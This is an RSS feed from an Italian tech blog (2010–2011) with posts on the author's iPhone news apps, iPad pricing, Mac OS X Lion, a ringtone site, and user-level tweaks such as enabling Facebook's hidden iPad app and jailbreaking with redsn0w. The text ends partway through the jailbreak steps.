<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PcExpert &#187; Iphone</title>
	<atom:link href="http://www.pcexpert-blog.com/category/iphone/feed" rel="self" type="application/rss+xml" />
	<link>http://www.pcexpert-blog.com</link>
	<description></description>
	<lastBuildDate>Sat, 05 Nov 2011 22:20:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<image>
  <link>http://www.pcexpert-blog.com</link>
  <url>http://www.pcexpert-blog.com/wp-content/plugins/favicon-manager/favicon.ico</url>
  <title>PcExpert</title>
</image>
<cloud domain='www.pcexpert-blog.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Newsfeed: L&#8217;applicazione che rivoluzionerà il modo di leggere le news sui nostri iPhone/iPod Touch</title>
		<link>http://www.pcexpert-blog.com/2011/09/newsfeed-lapplicazione-che-rivoluzionera-il-modo-di-leggere-le-news-sui-nostri-iphoneipod-touch.html</link>
		<comments>http://www.pcexpert-blog.com/2011/09/newsfeed-lapplicazione-che-rivoluzionera-il-modo-di-leggere-le-news-sui-nostri-iphoneipod-touch.html#comments</comments>
		<pubDate>Fri, 16 Sep 2011 23:37:45 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1784</guid>
		<description><![CDATA[<p></p>
<p><span style="color: #ff0000;">UPDATE VERSIONE 1.2 CHANHELOG:</span></p>
<div>- Aggiunta la compatibilità con i vecchi dispositivi Apple.
- Ottimizzato l&#8217;utilizzo della memoria.
- Introdotta una nuova funzione che permette di ricaricare le news</div><p></p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1814" title="screen1" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen1-208x300.jpg" alt="" width="208" height="300" /></p>
<p><span style="color: #ff0000;"><strong>UPDATE VERSIONE 1.2 CHANHELOG:</strong></span></p>
<div>- Aggiunta la compatibilità con i vecchi dispositivi Apple.<br />
- Ottimizzato l&#8217;utilizzo della memoria.<br />
- Introdotta una nuova funzione che permette di ricaricare le news durante la lettura.<br />
- Migliorata l&#8217;esperienza di navigazione in 3G.<br />
- Risolti 2 bug che causavano in certe condizioni un errato conteggio delle news ancora da leggere.<br />
- Nella Sezione &#8220;All Items&#8221; verranno ora mostrate solo le notizie effettivamente da leggere.<br />
- Ottimizzato per iOS 5.</div>
<div>
<h1 style="text-align: center;"><span style="color: #ff0000;"><strong>DOWNLOAD</strong></span></h1>
<p style="text-align: center;"><strong>LINK DOWNLOAD APPLE STORE: </strong><a href="http://itunes.apple.com/it/app/newsfeed/id468997390?mt=8">http://itunes.apple.com/it</a><a href="http://itunes.apple.com/it/app/newsfeed/id468997390?mt=8">app/newsfeed/id468997390</a></p>
</div>
<p>Dopo mesi di duro lavoro <img src='http://www.pcexpert-blog.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  sono lieto di presentarvi <strong>NewsFeed</strong> in <strong>free</strong> download sull&#8217;Apple Store.</p>
<p><strong>NewsFeed</strong> è un nuovo <strong>client</strong> totalmente compatibile con <strong>Google Reader</strong> per iPhone e iPod Touch che rivoluzionerà il modo di leggere le notizie sui dispositivi mobili. Se infatti non possiamo fare a meno della funzione <strong>CoverFlow</strong> presente sui nostri amati dispositivi Apple sicuramente apprezeremo anche questa applicazione. NewsFeed infatti utlizza il sistema CoverFlow per  permetterci di &#8220;sfogliare&#8221; letteralemente le news scaricate al volo dal nostro account <strong>Google Reader.</strong></p>
<p>Tantissime le caratteristiche di questa applicazione tra cui spiccano sicuramente le seguenti:</p>
<ul>
<li>Possibilità di visualizzare una velocissima anteprima della news che stiamo visualizzando.</li>
<li>Possibilità di visualizzare il sito web che ha postato la notizia.</li>
<li>Possibilità di settare la notizia come letta/non letta.</li>
<li>Possibilità di  salvare tra i nostri preferiti la notizia.</li>
<li>Possibilità di condividere velocemente tutte le news che stiamo leggendo con i nostri amici tramite Facebook, Twitter o via email.</li>
<li>Se una fonte non presenta articoli da leggere è possibile sfogliare tutte le notizie pubblicate in passato.</li>
<li>Caricamento ultraveloce delle immagini di preview dei singoli articoli con possibilità di disabilitare quest&#8217;ultima azione nel caso in cui utilizziamo una connessione 3G.</li>
<li>Badge nella springboard che permette di visualizzare velocemente il numero di notizie non lette.</li>
<li>E tanto altro ancora&#8230;</li>
</ul>
<p>Per il momento <strong>NewsFeed</strong> è stato rilasciato in versione <strong>totalmente gratuita</strong>. In futuro, se l&#8217;applicazione raggiungerà il successo sperato, verrà rilasciata una versione a pagamento senza pubblicità e con la possibilità di leggere le news anche senza una connessione ad internet.</p>
<p>Pur essendo pienamente compatibile con iPhone 3GS e iPod Touch di vecchie generazioni con firmware superiore al 4.0 l&#8217;applicazione da il meglio di se in termini di performance con i dispositivi di ultima generazione quali iPhone 4 e i nuovi iPod Touch</p>
<p>Vi lascio infine ad alcuni screen dell&#8217;app ed ad un video che ne illustra i principali punti di forza.</p>
<p><strong><br />
<iframe src="http://www.youtube.com/embed/u8RK94Eu6dA" frameborder="0" width="560" height="315"></iframe><br />
</strong></p>
<h1 style="text-align: center;"><span style="color: #ff0000;"><strong>DOWNLOAD</strong></span></h1>
<p><strong>LINK DOWNLOAD APPLE STORE: </strong><a href="http://itunes.apple.com/it/app/newsfeed/id468997390?mt=8">http://itunes.apple.com/it/app/newsfeed/id468997390?mt=8</a></p>
<p>Qualora decidiate di pubblicare un articolo a riguardo vi prego di comunicarmelo rispondendo a questa email.</p>
<p>Cordiali Saluti</p>
<p>Paolo Smedile<br />
<a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/NewsPad-4.png"><br />
</a><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen2.jpg"><img class="size-medium wp-image-1815 alignleft" title="screen2" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen2-208x300.jpg" alt="" width="208" height="300" /></a><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen-3.jpg"><img class="size-medium wp-image-1816 alignleft" title="screen 3" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen-3-208x300.jpg" alt="" width="208" height="300" /></a><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen2.jpg"><img class="size-medium wp-image-1787" title="NewsPad 5" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/NewsPad-5-208x300.png" alt="" width="208" height="300" /></a><img class="size-medium wp-image-1786 alignleft" title="NewsPad 6" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/NewsPad-6-208x300.png" alt="" width="208" height="300" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/09/newsfeed-lapplicazione-che-rivoluzionera-il-modo-di-leggere-le-news-sui-nostri-iphoneipod-touch.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Guida per sbloccare la versione di facebook per iPad nascosta all&#8217;interno della versione per iPhone</title>
		<link>http://www.pcexpert-blog.com/2011/07/guida-per-sbloccare-la-versione-di-facebook-per-ipad-nascosta-allinterno-della-versione-per-iphone.html</link>
		<comments>http://www.pcexpert-blog.com/2011/07/guida-per-sbloccare-la-versione-di-facebook-per-ipad-nascosta-allinterno-della-versione-per-iphone.html#comments</comments>
		<pubDate>Mon, 25 Jul 2011 12:12:32 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1769</guid>
		<description><![CDATA[<p></p>
<p>Mc Sigler ha scoperto che in realtà, la versione di facebook per iPad, è ben nascosta all&#8217;interno della versione iPhone. Occorrono infatti pochi semplici passaggi per sbloccarla ed essa</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/Facebook_iPad.png"><img class="aligncenter size-medium wp-image-1770" title="Facebook_iPad" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/Facebook_iPad-225x300.png" alt="" width="225" height="300" /></a></p>
<p><strong>Mc Sigler</strong> ha scoperto che in realtà, la versione di facebook per iPad, è <strong>ben nascosta</strong> all&#8217;interno della versione iPhone. Occorrono infatti pochi semplici passaggi per sbloccarla ed essa risulta già molto stabile è ben fatta. Non sono noti però i motivi per cui questa nuovissima e tanto attesa novità sia stata tenuta segreta. Sta di fatto che attraverso la versione creata ad hoc per iPad possiamo ora <strong>accedere a tutte le funzioni del social network</strong>, chat compresa.</p>
<p>Ecco quindi una semplice guida per &#8220;sbloccare&#8221; la versione iPad di facebook che ricordo può essere momentaneamente abilitata solo su iPad Jailbroken.</p>
<blockquote>
<ol>
<li>Per prima cosa scarichiamo dall&#8217;Apple Store la versione iPhone di Facebook.</li>
<li>Tramite iFile rechiamoci nella seguente cartella <strong>/var/mobile/Applications/Facebook</strong>. <span style="color: #ff0000;"><strong>NOTA BENE</strong></span>:  per trovarla più facilmente, attivate nelle preferenze di iFile la voce Nomi applicazioni altrimenti vedrete solo una serie di numeri e lettere al posto della cartella Facebook.</li>
<li>Apriamo il file <strong>Info.plist</strong> con il Visualizzatore Testo integrato in iFile.</li>
<li>Scorriamo il file fino in fondo alla ricerca della stringa&lt;key&gt;UIDeviceFamily&lt;/key&gt;&lt;array&gt;&lt;integer&gt;1&lt;/integer&gt;&lt;/array&gt;
<p>e sostituiamo il numero 1 con il numero 2 per rendere la versione di facebook compatibile con iPad.</li>
<li>Riavviamo infine il dispositivo.</li>
</ol>
</blockquote>
<p><span style="color: #ff0000;"><strong>UPDATE:</strong></span> Facebook ha disabilitato l&#8217;accesso tramite l&#8217;app per iPad e, a quanto pare, a Palo Alto sembrano non aver digerito la scoperta si questa versione apposita di facebook per il tablet di casa Apple. Tuttavia tramite un <strong>tweak gratuito</strong> scaricabile da cydia chiamato <strong>FaceForward</strong> è possibile riabilitare l&#8217;accesso a facebook tramite l&#8217;applicazione per iPad.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/07/guida-per-sbloccare-la-versione-di-facebook-per-ipad-nascosta-allinterno-della-versione-per-iphone.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finalmente disponibile per il download Mac OS X Lion</title>
		<link>http://www.pcexpert-blog.com/2011/07/finalmente-disponibile-per-il-download-mac-os-x-lion.html</link>
		<comments>http://www.pcexpert-blog.com/2011/07/finalmente-disponibile-per-il-download-mac-os-x-lion.html#comments</comments>
		<pubDate>Wed, 20 Jul 2011 12:39:49 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1762</guid>
		<description><![CDATA[<p></p>
<p>Finalmente Apple ha rilasciato la nuova Major release del suo sistema operativo ovvero: Mac OS X Lion. Per eseguire il download ci basterà aprire il Mac App Store e</p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1763" title="Mac OS X Lion" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/Mac-OS-X-Lion-276x300.png" alt="" width="276" height="300" /></p>
<p>Finalmente Apple ha rilasciato la nuova Major release del suo sistema operativo ovvero: Mac OS X Lion. Per eseguire il download ci basterà aprire il Mac App Store e cercare &#8220;lion&#8221;. Subito dopo l&#8217;acquisto partirà il download!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/07/finalmente-disponibile-per-il-download-mac-os-x-lion.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Help Me l&#8217;applicazione per iphone che ti aiuta ad uscire il più velocemente possibile dai guai!</title>
		<link>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html</link>
		<comments>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html#comments</comments>
		<pubDate>Sat, 28 May 2011 12:13:04 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1732</guid>
		<description><![CDATA[<p>Help Me è una utilissima applicazione che vi aiuterà ad uscire il più velocemente possibile da guai nei momenti di bisogno.
Capita infatti che, nei momenti di panico assoluto, possiamo</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/Default.png"><img class="aligncenter size-medium wp-image-1733" title="Default" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/Default-200x300.png" alt="" width="200" height="300" /></a>Help Me è una utilissima applicazione che vi aiuterà ad uscire il più velocemente possibile da guai nei momenti di bisogno.<br />
Capita infatti che, nei momenti di panico assoluto, possiamo non avere la lucidità e/o la prontezza di comporre o cercare in rubrica il numero di una persona di cui possiamo fidarci e che potrà sicuramente tirarci fuori dai guai.<br />
Ancora più difficile in questi momenti è sicuramente <strong>indicare in modo preciso</strong> alla persona che dovrà venire in nostro soccorso <strong>la posizione in cui ci troviamo</strong>.<br />
Per esempio in caso di incidente stradale spesso non si ha la minima idea del posto in cui ci si trova al momento dell&#8217;impatto.<br />
Ecco che ci viene in aiuto <strong>HELP ME</strong>. L&#8217;applicazione necessita di <strong>poche semplici configurazioni</strong>. Una volta scaricata ci basterà infatti settare, tramite l&#8217;apposito ed <strong>intuitivo menù</strong>, un numero di telefono e un messaggio di default e, una volta configurata, l&#8217;app sarà pronta per all&#8217;uso e non sarà più necessario configurare nient&#8217;altro.<br />
D&#8217;ora in poi sarà infatti possibile effettuare una chiamata d&#8217;emergenza al numero preimpostato premendo un solo bottone e/o mandare un messaggio automatico con del testo predefinito + LA POSIZIONE ESATTA in cui ci troviamo. Grazie all&#8217;aiuto del GPS presente nel dispositivo, <strong>Help Me otterà in automatico le coordinate precise del luogo in cui ci troviamo</strong>. Se possediamo inoltre una connessione ad Internet (3G o Wifi) l&#8217;applicazione è in grado di estrapolare in automatico dalle coordinate il luogo esatto in cui ci troviamo con STATO, CITTA&#8217;, VIA E NUMERO CIVICO.<br />
Che dire veramente un app utilissima nelle emergenze!</p>
<p><!-- p.p1 {margin: 0.0px 0.0px 13.0px 0.0px; line-height: 19.0px; font: 13.0px Georgia} span.s1 {text-decoration: underline} -->L&#8217;applicazione è disponibile <span style="text-decoration: underline;"><strong><em>gratuitamente</em></strong></span> sull&#8217;Apple Store ed è localizzata sia in italiano che in Inglese.</p>
<p><span style="text-decoration: underline; color: #ff0000;"><strong>LINK APPLE STORE: </strong></span><a href="http://itunes.apple.com/it/app/help-me-now/id439511249?mt=8">http://itunes.apple.com/it/app/help-me-now/id439511249?mt=8</a></p>
<p>Buon Download <img src='http://www.pcexpert-blog.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Scaricare migliaia di suonerie per iPhone gratuitamente tra le più in voga del momento</title>
		<link>http://www.pcexpert-blog.com/2011/05/scaricare-migliaia-di-suonerie-per-iphone-gratuitamente-tra-le-piu-in-voga-del-momento.html</link>
		<comments>http://www.pcexpert-blog.com/2011/05/scaricare-migliaia-di-suonerie-per-iphone-gratuitamente-tra-le-piu-in-voga-del-momento.html#comments</comments>
		<pubDate>Sun, 22 May 2011 22:02:12 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[nokia]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1727</guid>
		<description><![CDATA[<p></p>
<p>Come sicuramente saprete, è possibile impostare una nuovo tono come suoneria predefinita del nostro iPhone solo se quest&#8217;ultima è stata correttamente convertita. Questa procedura può però risultare parecchio lunga</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/audiko1.jpg"><img class="aligncenter size-medium wp-image-1728" title="audiko" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/audiko1-300x188.jpg" alt="" width="300" height="188" /></a></p>
<p>Come sicuramente saprete, è possibile impostare una nuovo tono come suoneria predefinita del nostro iPhone solo se quest&#8217;ultima è stata correttamente convertita. Questa procedura può però risultare parecchio lunga e noiosa. Ecco quindi che ci viene in aiuto Audiko, un comodo sito dove è possibile trovare veramente tantissime suonerie per il nostro melafonino pronte da scaricare ed essere trasferite con un click.<br />
Il database è veramente ampio è comprende tutte le canzoni più in voga del momento ma, nel caso in cui non dovessimo trovare la suoneria che stiamo cercando non dobbiamo disperare. E&#8217; infatti possibile uplodare il brano mp3 sul sito, scegliere i 30 secondi più significativi del pezzo e, nel giro di pochi secondi, sarà possibile scaricare la suoneria convertita nel formato corretto pronta per essere trasferita sul nostro iPhone. Ovviamente gli altri utenti che cercheranno la stessa canzone potranno usufruire del nostro lavoro scaricando la suoneria che abbiamo creato. E&#8217; proprio per questo che il database di Audiko è davvero immenso e spazia in tutti i generi musicali. Che dire, veramente un ottimo servizio.</p>
<h2><strong><a href="http://www.pcexpert-blog.com/download/redirectpage.php?id=328"><span style="color: #ff0000;">Link ad AUDIKO</span></a></strong></h2>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/05/scaricare-migliaia-di-suonerie-per-iphone-gratuitamente-tra-le-piu-in-voga-del-momento.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disponibile sull&#8217;Apple Store la nuovissima release di Notizie Informatiche HD e Notizie Intrattenimento HD</title>
		<link>http://www.pcexpert-blog.com/2011/04/disponibile-sullapple-store-la-nuovissima-release-di-notizie-informatiche-hd-e-notizie-intrattenimento-hd.html</link>
		<comments>http://www.pcexpert-blog.com/2011/04/disponibile-sullapple-store-la-nuovissima-release-di-notizie-informatiche-hd-e-notizie-intrattenimento-hd.html#comments</comments>
		<pubDate>Sat, 02 Apr 2011 14:16:45 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Notizie Informatiche]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[apple store]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[notizie informatiche]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1716</guid>
		<description><![CDATA[Finalmente online la nuova versione di Notizie Informatiche HD e Notizie Intrattenimento HD! Grazie a queste due applicazioni sarà letteralmente possibile "sfogliare", grazie alla nuovissima interfaccia stile magazine delle due applicazioni, tutte le più importanti news dell'ultima ora.

Infatti il database di notizie dalle quali le due app ricevono le news è composto dai migliori blog del panorama italiano. Ecco di seguito un link dove è possibile visualizzare tutti gli iscritti ai due importanti aggregatori.]]></description>
			<content:encoded><![CDATA[<p><!-- p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica; min-height: 14.0px} p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica; color: #254fae} span.s1 {color: #000000} span.s2 {text-decoration: underline} --><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/04/Notizie-Informatiche-HD.png"><img class="aligncenter size-medium wp-image-1717" title="Notizie Informatiche HD" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/04/Notizie-Informatiche-HD-230x300.png" alt="" width="230" height="300" /></a></p>
<p>Finalmente online la nuova versione di <strong>Notizie Informatiche HD</strong> e <strong>Notizie Intrattenimento HD</strong>! Grazie a queste due applicazioni sarà letteralmente possibile &#8220;sfogliare&#8221;, grazie alla <strong>nuovissima interfaccia stile magazine</strong> delle due applicazioni, tutte le più importanti news dell&#8217;ultima ora.</p>
<p>Infatti il database di notizie dalle quali le due app ricevono le news è composto dai migliori blog del panorama italiano. Ecco di seguito un link dove è possibile visualizzare tutti gli iscritti ai due importanti aggregatori.</p>
<p>Elenco iscritti Notizie Informatiche:<a href="http://www.notizie-informatiche.com/register/blogiscritti.php"> http://www.notizie-informatiche.com/register/blogiscritti.php</a></p>
<p>Elenco iscritti Notizie Intrattenimento: <a href="http://www.notizie-intrattenimento.com/register/blogiscritti.php">http://www.notizie-intrattenimento.com/register/blogiscritti.php</a></p>
<p>Con la nuova release delle applicazioni sono stati risolti tutti i bug conosciuti e la stabilità e la velocità di download delle notizie e delle foto allegate alle varie news è migliorata del 50%.</p>
<p>Inoltre è anche possibile <strong>filtrare le notizie per categoria</strong>. Ad esempio, se abbiamo scaricato Notizie Informatiche, ci sarà possibile visualizzare solo ed esclusivamente news riguardanti il mondo Apple&#8230; ecc.</p>
<p>Le due applicazioni offrono anche la possibilità di condividere le varie news lette con i nostri amici tramite il nostro account <strong>facebook</strong>, <strong>twitter </strong>o tramite <strong>email</strong>!</p>
<p>Le due applicazioni sono <strong>disponibili gratuitamente</strong> e sono già in attesa di approvazioni gli aggiornamenti delle versioni iphone delle stesse.</p>
<p><span style="color: #ff0000;"><strong>Link Notizie Informatiche HD</strong></span>: <a href="http://itunes.apple.com/us/app/notizie-informatiche-hd/id397265865">http://itunes.apple.com/us/app/notizie-informatiche-hd/id397265865</a></p>
<p><strong><span style="color: #ff0000;">Link Notizie Intrattenimento HD</span></strong>: <a href="http://itunes.apple.com/us/app/notizie-intrattenimento-hd/id397446224">http://itunes.apple.com/us/app/notizie-intrattenimento-hd/id397446224</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/04/disponibile-sullapple-store-la-nuovissima-release-di-notizie-informatiche-hd-e-notizie-intrattenimento-hd.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPad: Apple comunica i prezzi ufficiali italiani</title>
		<link>http://www.pcexpert-blog.com/2010/05/ipad-apple-comunica-i-prezzi-ufficiali-italiani.html</link>
		<comments>http://www.pcexpert-blog.com/2010/05/ipad-apple-comunica-i-prezzi-ufficiali-italiani.html#comments</comments>
		<pubDate>Fri, 07 May 2010 14:00:25 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1657</guid>
		<description><![CDATA[<p></p>
<p>Apple ha appena comunicato i prezzi ufficiali ufficiali dell&#8217;ipad che sarà possibile acquistare a partire da venerdì 28 maggio. Sarà possibile (scelta consigliata visto il rischio concreto di esaurimento</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/05/ipad-uscita-italia.png"><img class="aligncenter size-medium wp-image-1658" title="ipad-uscita-italia" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/05/ipad-uscita-italia-300x225.png" alt="" width="300" height="225" /></a></p>
<p>Apple ha appena comunicato i prezzi ufficiali ufficiali dell&#8217;ipad che sarà possibile acquistare a partire da venerdì 28 maggio. Sarà possibile (scelta consigliata visto il rischio concreto di esaurimento delle scorte) il pre-ordine di qualsiasi modello dell’iPad direttamente dall’Apple Store, a partire da lunedì prossimo, 10 maggio.</p>
<p>I prezzi consigliati per l’iPad in Italia sono i seguenti:</p>
<p><strong>499</strong> euro per il modello Wi-Fi da 16 GB<br />
<strong>599</strong> euro per il modello Wi-Fi da 32 GB<br />
<strong>699</strong> euro per il modello Wi-Fi da 64GB</p>
<p><strong>599</strong> euro per il modello Wi-Fi + 3G da 16 GB<br />
<strong>699</strong> euro per il modello Wi-Fi + 3G da 32 GB<br />
<strong>799</strong> euro per il modello Wi-Fi + 3G da 64 GB</p>
<p>Apple segnala che l’applicazione iBooks per iPad, che include iBookstore, sarà disponibile come download gratuito dall’App Store sempre a partire dal 28 maggio.<br />
Negli Stati Uniti sono già stati venduti un milione di iPad. Oltre che in Italia, il 28 maggio il tablet di Apple sarà commercializzato anche in Australia, Canada, Francia, Germania, Giappone, Spagna, Svizzera e UK.</p>
<p style="text-align: right;"><a href="http://gregileoblog.blogspot.com/2010/05/lipad-in-italia-ecco-i-prezzi-ufficiali.html">Fonte</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/05/ipad-apple-comunica-i-prezzi-ufficiali-italiani.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rilasciato redsn0w 0.9.5 BETA per effettuare il Jailbreak dell’iPhone OS 4 Beta 1 per iPhone 3G!! [MAC]</title>
		<link>http://www.pcexpert-blog.com/2010/04/rilasciato-redsn0w-0-9-5-beta-per-effettuare-il-jailbreak-dell%e2%80%99iphone-os-4-beta-1-per-iphone-3g-mac.html</link>
		<comments>http://www.pcexpert-blog.com/2010/04/rilasciato-redsn0w-0-9-5-beta-per-effettuare-il-jailbreak-dell%e2%80%99iphone-os-4-beta-1-per-iphone-3g-mac.html#comments</comments>
		<pubDate>Fri, 16 Apr 2010 05:29:27 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[apple. iphone]]></category>
		<category><![CDATA[dev team]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[os 4.0]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1650</guid>
		<description><![CDATA[<p></p>
<p>Avete proprio letto bene, il Dev Team ha  appena rilasciato la prima beta di redsn0w 0.9.5 per il  Jailbreak del nuovo sistema operativo presentato da Apple solo qualche  giorno</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/04/AppleiTablet.jpg"><img class="aligncenter size-medium wp-image-1651" title="AppleiTablet" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/04/AppleiTablet-225x300.jpg" alt="" width="225" height="300" /></a></p>
<p>Avete proprio letto bene, il Dev Team ha  appena rilasciato la prima <strong>beta di redsn0w 0.9.5</strong> per il  Jailbreak del nuovo sistema operativo presentato da Apple solo qualche  giorno fa: l’iPhone OS 4.</p>
<p>E quindi ci siamo. Già qualche giorno fa il  grande GeoHot, ma anche il team iH8sn0w, ci aveva mostrato con screens e  video su YouTube, com’era già possibile effettuare il Jailbreak del  nuovo firmware di casa Apple. Ma il Dev Team, a sorpresa, stupisce tutti  con questa prima beta che, almeno per il momento, è ancora limitata e  poco funzionale; <strong>ma soprattutto non è per gli utilizzatori  finali MA SOLO PER DEVELOPERS che sviluppano apps per Cydia</strong>:</p>
<p>redsn0w 0.9.5 infatti è  compatibile, per il momento, solo con:</p>
<ul>
<li>iPhone 3G</li>
<li>Mac OSX</li>
<li>iPhone OS 4</li>
</ul>
<p>Ecco come effettuare il jailbreak:</p>
<ul>
<li>Lanciate redsn0w 0.9.5</li>
<li>Selezionate il firmware “iPhone1,2_4.0_8A230m_Restore.ipsw” (lo  stesso che avete usato per l’aggiornamento del vostro iPhone 3G)</li>
<li>Selezionate “Install Cydia” e cliccate su “Next”. Entrate in DFU per  fare il Jailbreak.</li>
